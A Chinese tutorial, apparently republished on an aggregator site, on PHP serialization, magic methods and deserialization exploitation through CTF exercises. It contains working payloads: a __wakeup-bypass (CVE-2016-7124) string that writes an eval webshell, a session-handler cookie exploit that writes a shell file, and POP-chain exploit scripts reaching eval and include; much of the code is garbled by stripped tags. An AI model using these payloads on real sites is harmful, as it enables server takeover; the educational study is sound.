快资讯丨PHP的序列化和反序列化入门

PHP序列化什么是PHP序列化
serialize()     //将一个对象转换成一个字符串unserialize()   //将字符串还原成一个对象

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击

返回结果

O:6:"sunset":3:{s:4:"flag";s:14:"flag{asdadasd}";s:4:"name";s:8:"makabaka";s:3:"age";s:2:"18";}


(资料图片)

O代表对象,这里是序列化的一个对象,要序列化数组的就用A6表示的是类的长度sunset表示对是类名3表示类里面有3个属性也称为变量s表示字符串的长度这里的flag表示属性比如s:4:"flag"这里表示的是 flag属性名(变量名)为4个字符串长度 字符串 属性长度 属性值什么是反序列化

这里是把上面序列化之后返回的数据进行反序列化

$str="O:6:"sunset":3:{s:4:"flag";s:14:"flag{asdadasd}";s:4:"name";s:8:"makabaka";s:3:"age";s:2:"18";}";$a=unserialize($str);var_dump($a);
PHP中public、protected、private的区别对比public

public修饰的属性和方法可以在任何地方被访问,包括类的内部、子类和外部代码。

示例:

name; // 可以直接访问 public 属性$person->sayHello(); // 可以直接调用 public 方法?>
protected

protected修饰的属性和方法只能在当前类及其子类中被访问,外部的代码访问不了

name; // 子类可以访问 protected 属性      $this->sayHello(); // 子类可以调用 protected 方法    }  }  $student = new Student();  $student->showName(); // 可以访问父类的 protected 属性和方法  echo $student->name; // 外部代码不能访问 protected 属性  会显示错误  $student->sayHello(); // 外部代码不能调用 protected 方法 会显示错误?>
private

private修饰的属性和方法只能在当前类中被访问,子类和外部代码不能访问。

name; // 子类不能访问父类的 private 属性      $this->sayHello(); // 子类不能调用父类的 private 方法    }  }  $person = new Person();  echo $person->name; // 外部代码不能访问 private 属性 会发生报错  $person->sayHello(); // 外部代码不能调用 private 方法 会发生报错?>

总结

魔术方法

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。

常见的魔术方法
__construct()//创建对象时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__invoke() //当脚本尝试将对象调用为函数时触发
__sleep()

__sleep()方法是 PHP 中的一个魔术方法(magic method),用于在对象被序列化(serialized)时触发。在这个方法中,你可以指定哪些属性需要被序列化,哪些属性不需要被序列化。

具体来说,当调用 serialize()函数将一个对象序列化时,PHP 会先自动调用对象的 __sleep()方法,该方法需要返回一个数组,包含需要被序列化的属性名。然后 PHP 会将这些属性序列化成字符串。

假设有一个 User类,它有一个私有属性 $password,你不希望在序列化对象时将密码属性暴露出来。那么你可以在 User类中实现 __sleep()方法

username = $username;        $this->password = $password;    }    public function __sleep() {        return array("username");    }}$user = new User("john", "123456");$serialized = serialize($user);echo $serialized;

在上面的例子中,User类的 __sleep()方法返回了一个只包含 $username属性名的数组,这意味着在序列化对象时,只有用户名会被序列化。如果你运行上面的代码,你会看到输出的序列化字符串只包含了 username属性的值。

关于序列化后的字符串中 s:14:"Userusername";s:4:"john";中的 s:14,实际上是指 "Userusername" 的长度为 12 个字符,而不是 10 或 14 个字符。这是因为在 PHP 序列化字符串中,每个字符串的前面都会有一个类似 s:6:的字符串长度标识,表示该字符串的长度为 6 个字符。这个字符串长度标识包括 s:、冒号和数字长度,加起来占用了 4 个字符,所以实际上字符串长度标识的长度为字符串长度加 2。在您的输出结果中,s:14:"Userusername";s:4:"john";中的

__wakeup()

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源 而wakeup()用于在从字符串反序列化为对象时自动调用。一个 PHP 对象被序列化成字符串并存储在文件、数据库或者通过网络传输时,我们可以使用 unserialize()函数将其反序列化为一个 PHP 对象。在这个过程中,PHP 会自动调用该对象的 __wakeup()方法,对其进行初始化。

__wakeup()方法的作用是对一个对象进行一些必要的初始化操作。例如,如果一个对象中包含了一些需要进行身份验证的属性,那么在从字符串反序列化为对象时,就可以在 __wakeup()方法中进行身份验证。或者如果一个对象中包含了一些需要在每次初始化时计算的属性,也可以在 __wakeup()方法中进行计算

示例1:

username = $username;        $this->password = $password;    }    public function __sleep() {        return array("username", "password");    }    public function __wakeup() {        if (!$this->authenticate()) {            throw new Exception("Authentication failed");        }    }    private function authenticate() {        // 进行身份验证    }}$user = new User("john", "123456");$serialized = serialize($user);$unserialized = unserialize($serialized);

在上面的示例中User类实现了 __sleep()__wakeup()方法。__sleep()方法返回了一个包含 usernamepassword属性名的数组,表示只有这两个属性需要被序列化。__wakeup()方法会调用 authenticate()方法进行身份验证。如果身份验证失败,则会抛出一个异常。

实例2:

ID = $ID;        $this->sex = $sex;        $this->age = $age;        $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);    }    public function getInfo(){        echo $this->info . "
"; } /** * serialize前调用 用于删选需要被序列化存储的成员变量 * @return array [description] */ public function __sleep(){ echo __METHOD__ . "
"; return ["ID", "sex", "age"]; } /** * unserialize前调用 用于预先准备对象资源 */ public function __wakeup(){ echo __METHOD__ . "
"; $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age); }}$me = new Caiji("Sunset", 20, "man");$me->getInfo();//存在__sleep(函数,$info属性不会被存储$temp = serialize($me);echo $temp . "
";$me = unserialize($temp);//__wakeup()组装的$info$me->getInfo();?>
输出结果__toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

示例:

name = $name;        $this->age = $age;        $this-> info=sprintf("name:%s,age:%s",$this->name,$this->age);    }    public function __toString() {        return $this->info;    }}$person = new Person("John", 30);echo "__toString:".$person."
"; ?>
__destruct()

__destruct方法是 PHP 中的一个特殊方法,用于在对象实例被销毁时自动调用。该方法通常用于清理对象所占用的资源,例如关闭数据库连接、释放文件句柄等。

示例:

class Example {  private $resource;  public function __construct() {    $this->resource = fopen("example.txt", "w");//打开文件  }  public function write($text) {    fwrite($this->resource, $text);  }  public function __destruct() {    fclose($this->resource);  }}// 创建实例并写入文件$example = new Example();$example->write("Big hacker!!!");// 实例销毁时,__destruct 方法会自动关闭文件句柄

在上面的示例中,Example类的构造函数打开了一个文件,并将其保存在 $resource属性中。write方法使用该文件句柄将文本写入文件中。

$example实例被销毁时,__destruct方法会自动调用,关闭文件句柄以释放资源。这意味着在 write方法执行后,即使没有调用 fclose方法关闭文件,该文件也会被正确地关闭

关于示例在上面时候被销毁

具体$example->write("Hello, world!");$example变量,$example对象将会被销毁,并且 __destruct方法会被自动调用,关闭文件句柄。如果在此之后仍然有其他变量引用 $example对象,那么对象不会被销毁,直到所有引用都被释放为止。

对象的生命周期取决于它的引用计数,只有当所有引用都被释放后,对象才会被销毁。__destruct方法会在对象销毁时自动调用,用于执行清理操作。

魔术方法运行的先后顺序__construct()和__destruct()construct:当对象创建时会被调用,是在new对象时才调用,unserialize时不对被自动调用destruct(): 当对象被销毁时自动调用,有新的对象创建 之后会自动销毁 相当于调用了__construct后一定会调用__destruct现在传入一个对象,他后面被销毁时会调用 destruct

实例:

";        }        function __destruct()        {            echo "调用"."__destruct";            echo "
"; }}$a= new sunset();echo serialize($a);echo "
";?>调用__constructO:6:"sunset":1:{s:4:"name";s:8:"makabaka";}调用__destruct

创建对象sunset调用 __construct序列号之后调用__destruct销毁对象

__seelp()__wakeup()__seelp()在对象被序列化之前调用__wakeup()在对象被反序列化之前调用

示例:

";        }        function __destruct()        {            echo "调用"."__destruct";            echo "
"; } function __sleep() { echo "调用"."__sleep"; echo "
"; return array("name"); } function __wakeup() { echo "调用"."__wakeup"; echo "
"; }}$a= new sunset();echo serialize($a);$b=$_GET["b"];echo "
";unserialize($b);?>

这里可以看出在序列化之前调用了__sleep方法然后进行销毁

";    }    function __destruct() {        echo "调用 " . __METHOD__;        echo "
"; } function __sleep() { echo "调用 " . __METHOD__; echo "
"; return array("name"); } function __wakeup() { echo "调用 " . __METHOD__; echo "
"; }}if (isset($_POST["submit"])) { $b = $_POST["a"]; unserialize($b);}?>

这里我们直接提交序列化的内容就调用了__wakeup

__toString()

__toString作为pop链关键的一步,很容易被调用。当对象被当作字符串的时候,__toString()会被调用,不管对象有没有被打印出来,在对象被操作的时候,对象在和其他的字符串做比较的时候也会被调用。

echo($obj)或print($obj)打印对象时会触发反序列化对象与字符串连接时反序列化对象参与格式化字符串时反序列化对象字符串进行==比较时(多为preg_match正则匹配),因为php进行弱比较时会转换参数类型,相当于都转换成字符串进行比较反序列化对象参与格式化sql语句时,绑定参数时(用的少)反序列化对象经过php字符串函数时,如strlen(),addslashes()时(用的少)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有tostring返回的字符串的时候tostring会被调用反序列化的对象作为class_exists()的参数的时候(用的少)
";    }    function __destruct() {        echo "调用 " . "__destruct()";        echo "
"; } function __toString() { echo "调用 " . "__toString"; echo "
"; return array("name"); }}$a= new sunset();echo $a;
__invoke()

__invoke:当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用,而调用函数的方式就是在后面加上(),当我们看到像return $function();这种语句时,就应该意识到后面可能会调用__invoke(),下图是直接在对象后面加()调用(这个魔术方法只在PHP 5.3.0 及以上版本有效)

";    }    function __destruct() {        echo "调用 " . "__destruct()";        echo "
"; } function __invoke() { echo "调用 " . "__invoke"; echo "
"; }}$a= new sunset();$a();
__get()和__set()__get():从不可访问的属性中读取数据,或者说是调用一个类及其父类方法中未定义属性时__set():当给一个未定义的属性赋值时,或者修改一个不能被修改的属性时(private protected)(用的不多)
";    }    function __destruct() {        echo "调用 " . "__destruct()";        echo "
"; } function __get($b) { echo "调用 " . "__get"; echo "
"; return $this->str; }}$a= new sunset();echo $a->makk;

这里创建一个对象调用了__construct然后echo 指向的mkk没有被定义然后调用__get()

__call()__callStatic()__call:在对象中调用类中不存在的方法时,或者是不可访问方法时被调用__callStatic:在静态上下文中调用一个不可访问静态方法时被调用
";    }    function __destruct() {        echo "调用 " . "__destruct()";        echo "
"; } function __call($b,$q) { echo "调用 " . "__call"; echo "
"; return $this->str; }}$a= new sunset();echo $a->makk();

这里调用makk()方法不存在调用__call

其他魔术方法
__isset():当对不可访问属性调用isset()或empty()时调用__unset():当对不可访问属性调用unset()时被调用。__set_state():调用var_export()导出类时,此静态方法会被调用。__clone():当对象复制完成时调用__autoload():尝试加载未定义的类__debugInfo():打印所需调试信息

参考手册

题目unserialize3

地址

这是一个有关于php序列化的题目

     

这里绕过__wakeup的方法就是属性值大于他之前的属性值 这里面就只有一个属性值 flag111 只要超过这个属性值就可以绕过

示例

通过分析代码我们需要通过get传入一个str值然后这传入的值进行反序列化之后就与$KEY相等就可以返回flag

构造payload:http://127.0.0.1/1.php?str=s:6:"sunset";

如何绕过__wakeup() CVE-2016-7124

版本限制 PHP5:<5.6.25

​PHP7:<7.0.10

CVE-2016-7124
age = "18";    }    function __destruct(){$path="flag.php";$file_get=file_put_contents($path,$this->name);    }}$flag = $_GET["flag"];$unser = unserialize($flag);
代码分析类名: sunset属性名: name 和age魔术方法: __wakeup和__destruct

在代码中这里用到了反序列化函数unserialize, 只要用到这个函数是里面就会检测类sunset 里面有没有__wakeup()方法 ,如果有的话就会执行这个方法 这里的 wakeup()没有太大的作用然后后面的 __destruct打开了一个flag.php文件,然后把$this-->name 的值作为内容写入flag.php里面

O:6:"sunset":2:{s:4:"makabaka"}

​ 对上面代码进行序列化

O 代表是一个对象6 长度为6 "sunset"2 表示里面有两个属性s: 4:name 表示属性的长度为4s:8:makabaka 属性的长度为8

在上面的代码中我们可以看到destruct方法把name的东西写入flag.php里面这里我们可以直接写入shell

但是由于进行destruct之前会进行wakeup方法 所以需要先绕过wakeup这里需要增加类的属性值使大于类里面的就可以绕过>2

http://127.0.0.1/1.php/?flag=O:6:%22sunset%22:5:{s:4:%22name%22;s:41:%22%3C?php%20phpinfo();@eval($_POST[%27shell%27]);?%3E%22;s:3:%22age%22;s:2:%2218%22;}
示例2
file)) {      if(strchr($this-> file,"\\")===false &&  strchr($this->file, "/")===false)        show_source(dirname (__FILE__)."/".$this ->file);// 读取文件里面的内容      else        die("Wrong filename.");    }  }  function __wakeup(){   $this-> file="index.php";  }  public function __toString()//必须返回一个字符串   { return "" ;  }}if (!isset($_GET["file"])){  show_source("index.php");}else{  $file=base64_decode($_GET["file"]);  echo unserialize($file);} ?> #
构造序列化的对象:O:5:"SoFun":1:绕过__wakeup():O:5:"SoFun":2:

上面类的属性为 protected 可以加上 \00*\00绕过之后进行base64绕过

http://127.0.0.1/index.php?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
SEESION反序列化漏洞

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化在php.ini中有以下配置项,wamp的默认配置如图

session.save_path设置session的存储路径session.save_handler设定用户自定义存储函数如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)session.auto_start指定会话模块是否在请求开始时启动一个会话session.serialize_handler定义用来序列化/反序列化的处理器名字。默认使用php(<5.5.4)

session 的存储机制

php中session中的内容是以文件方式来存储的,由由session.save_handler来决定。文件名由sess_sessionid命名,文件内容则为session序列化后的值。

session.serialize_handler是用来设置session的序列化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

引擎session存储方式
php(php<5.5.4)存储方式是,键名+竖线`
php_serialize(php>5.5.4)存储方式是,经过serialize()函数序列化处理的键和值(将session中的key和value都会进行序列化)
php_binary存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

在PHP (php<5.5.4) 中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set("session.serialize_handler", "需要设置的引擎名");进行设置

php_serialize 引擎

这里汇总seesion存储路径存储一个序列化后的文件

内容为a:1:{s:4:"name";s:6:"sunset";}

其中a:1是使用php_serialize引擎都会加上的,同时使用php_serialize会把session里面的key和value都会反序列化

a代表的是一个数组php引擎

内容为name|s:6:"sunset";

这里name 为键值 s:6:"sunset"是sunset序列化后的结果

php引擎存储方式为:键值名 | 序列化后的值

php_binary 引擎

返回值

names:6:"sunset";

前面那个是一个特殊字符 因为php_binary序列化的过程中,会把数据编码为二进制格式,需要把数据长度信息加入到编码数据的开头,这样在解码的时候才可以读取数据,也是为了在解码的时候确定数据的长度。实质上是不可见字符,然后可以对照ascii表

例题: ctfshow_web263

访问www.zip文件拿到源码

index.php
5?die("登陆失败次数超过限制"):$_SESSION["limit"]=base64_decode($_COOKIE["limit"]);$_COOKIE["limit"] = base64_encode(base64_decode($_COOKIE["limit"]) +1);}else{ setcookie("limit",base64_encode("1")); $_SESSION["limit"]= 1;}?>
check.php
$_GET["u"],"pass"=>$_GET["pass"]);if($GET){$data= $db->get("admin",["id","UserName0"],["AND"=>["UserName0[=]"=>$GET["u"],"PassWord1[=]"=>$GET["pass"] //密码必须为128位大小写字母+数字+特殊符号,防止爆破]]);if($data["id"]){//登陆成功取消次数累计$_SESSION["limit"]= 0;echo json_encode(array("success","msg"=>"欢迎您".$data["UserName0"]));}else{//登陆失败累计次数加1$_COOKIE["limit"] = base64_encode(base64_decode($_COOKIE["limit"])+1);echo json_encode(array("error","msg"=>"登陆失败"));}}
inc.php
 "mysql",    "database_name" => "web",    "server" => "localhost",    "username" => "root",    "password" => "root",    "charset" => "utf8",    "port" => 3306,    "prefix" => "",    "option" => [        PDO::ATTR_CASE => PDO::CASE_NATURAL    ]]);// sql注入检查function checkForm($str){    if(!isset($str)){        return true;    }else{    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\"|\"|\<|\,|\>|\?/i",$str);    }}class User{    public $username;    public $password;    public $status;    function __construct($username,$password){        $this->username = $username;        $this->password = $password;    }    function setStatus($s){        $this->status=$s;    }    function __destruct(){        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format("Y-m-d H:i:s"));    }}/*生成唯一标志*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)*/function  uuid()  {      $chars = md5(uniqid(mt_rand(), true));      $uuid = substr ( $chars, 0, 8 ) . "-"            . substr ( $chars, 8, 4 ) . "-"             . substr ( $chars, 12, 4 ) . "-"            . substr ( $chars, 16, 4 ) . "-"            . substr ( $chars, 20, 12 );      return $uuid ;  }  

根据index.php 源码$_SESSION["limti"]>5?die("登陆失败次数超过限制"):$_SESSION["limit"]=base64_decode($_COOKIE["limit"]);前面的$_SESSION["limiti"]导致后续条件不可能成立,而inc.php文件里面设定了指定的php解释器为php的里面session_start();会对session文件进行解析,进行反序列化

check.php 调用 cookie

inc.php文件

抓取数据包

通过解码发现limit为1

EXP
";}echo  $a=base64_encode("|".serialize(new User));echo "log-"."shell.php";

然后通过抓包修改cookielimit字段

修改cookie后

写入成功

然后访问inc/inc.php触发条件 在check.phpinc/inc.php页面反序列化的时候|前面的会被看做键名,会对|后面的进行反序列化

ctfshow{1eb5b22f-96d0-45a7-bebe-bec221b32fec}

POP链

魔术方法运行的先后顺序

思路

利用现有的环境,找到一系列的代码或者调用指令,然后构造成一组连续的调用链,然后进行攻击。任何一条链子的构造,我们都要先找到它的头和尾,pop链也不例外,pop链的头部一般是用户能传入参数的地方,而尾部是可以执行我们操作的地方,比如说读写文件,执行命令等等;找到头尾之后,从尾部(我们执行操作的地方)开始,看它在哪个方法中,怎么样可以调用它,一层一层往上倒推,直到推到头部为止,也就是我们传参的地方,一条pop链子就出来了;在ctf中,头部一般都会是GET或者POST传参,然后可能就有一个unserialize直接将我们传入的参数反序列化了,尾部都是拿flag的地方;然后一环连着一环构成pop链

例题1

有php反序列化漏洞是因为有不安全的魔术方法,魔术方法会自己调用,我们构造恶意的exp就可以来触发他,有时候的漏洞代码不在魔术方法里面,在普通的方法中,我们应该寻找魔术方法是否调用了同名的函数,然后用同名函数名和类的属性和魔术方法联系起来

ClassObj = new normal();    }    function __destruct() {        $this->ClassObj->action();    }}class normal {    function action() {        echo "HelloWorld";    }}class evil {    private $data;    function action() {        eval($this->data);    }}unserialize($_GET["a"]);?>

上面代码的危险函数是evil类里面的eval我们需要把命令写入eval()里面,这里的action()函数有2个我们需要调用的是下面的class evil这里代码的流程是先有一个test类然后我们创建对象的时候调用__construct方法之后会在创建一个新的normal对象然后就调用了函数action()输出HelloWorld

这里可以先创建一个test类然后利用test类创建一个evil对象再通过对象写入危险函数

EXP
ClassObj = new evil();    }    function __destruct() {        $this->ClassObj->action();    }}class evil {    private $data="phpinfo();";}$b= new test();echo urlencode(serialize($b));///http://127.0.0.1/1.php?a=O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D 
例题2
str=$name;    }    public function __destruct()    {        $this->source=$this->str;        echo $this->source;    }}class Show{    public $source;    public $str;    public function __toString()    {        $content = $this->str["str"]->source;        return $content;    }}class Uwant{    public $params;    public function __construct(){        $this->params="phpinfo();";    }    public function __get($key){        return $this->getshell($this->params);    }    public function getshell($value)    {        eval($this->params);    }}$a = $_GET["a"];unserialize($a);?>
这段代码的含义:

通过GET传入a参数-->对传入的内容进行反序列化-->分别传入Hello Show Uwant里面-->创建Hello类的对象时候调用__construct方法把传递的参数存在了$str里面在该对象被销毁的时候调用__destruct方法,并且把$str的值给到了$source里面并且通过echo输出,然后创建Show对象会调用__toString方法返回$str的值str["str"]->source,创建Uwant方法的时候调用了__construct然后把phpinfo();存入了$params里面然后访问这个属性时然后get没有$key参数会调用__get方法并且调用getshell)()方法然后把$params里面的内容写到eval然后输出

这里需要先把Hello类里面的$this-->str变成对象这样才可以继续让Show 里面的类__toString执行,然后把Show类的$this->str["str"]赋值成对象,来调用Uwant类中的__get()

EXP
 str = $b;$b -> str["str"] = $c;echo urlencode(serialize($a));
例题3

[MRCTF2020]Ezpop

append($this->var);    }}class Show{    public $source;    public $str;    public function __construct($file="index.php"){        $this->source = $file;        echo "Welcome to ".$this->source."
"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); //这会直接调用到__invoke }}if(isset($_GET["pop"])){ @unserialize($_GET["pop"]);}else{ $a=new Show; highlight_file(__FILE__);}

这里通过get方法传入一个get参数,如果没有传入pop参数然后就调用Show方法 显示源码,这里的思路就是在Modifier类里面有一个include函数如果可以调用就可以通过文件包含,包含flag.php文件然后使用php伪协议就可以获取flag

有关Test类的魔术方法简介就往__invoke 看

Show

__wakeup在反序列化的时候会直接被触发里面的正则匹配了一些敏感的关键词 然后preg_match函数对s ource进行访问会触发__toString然后这个方法又会访问str里面的source 我们创建一个新的Test类,里面没有source,然后会触发__get()方法,函数返回的时候我们再创建一个Modifier类 之后又会触发__invoke方法然后用Modifier的var读取flag.php

头 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾

exp
str=new Test();    }}class Test{    public $p;    public function __get($key)    {        $function = $this->p;        return $function();    }}$hack=new Show();$hack->source=new Show();$hack->source->str->p=new Modifier();echo urlencode(serialize($hack));

flag{197b01ca-3562-4896-aedf-812a5686bb24}

标签:

上一篇 :

下一篇 :

X 广告
X 广告

Copyright ©  2015-2022 西南舞蹈网版权所有  备案号:皖ICP备2022009963号-8   联系邮箱:39 60 29 14 2@qq.com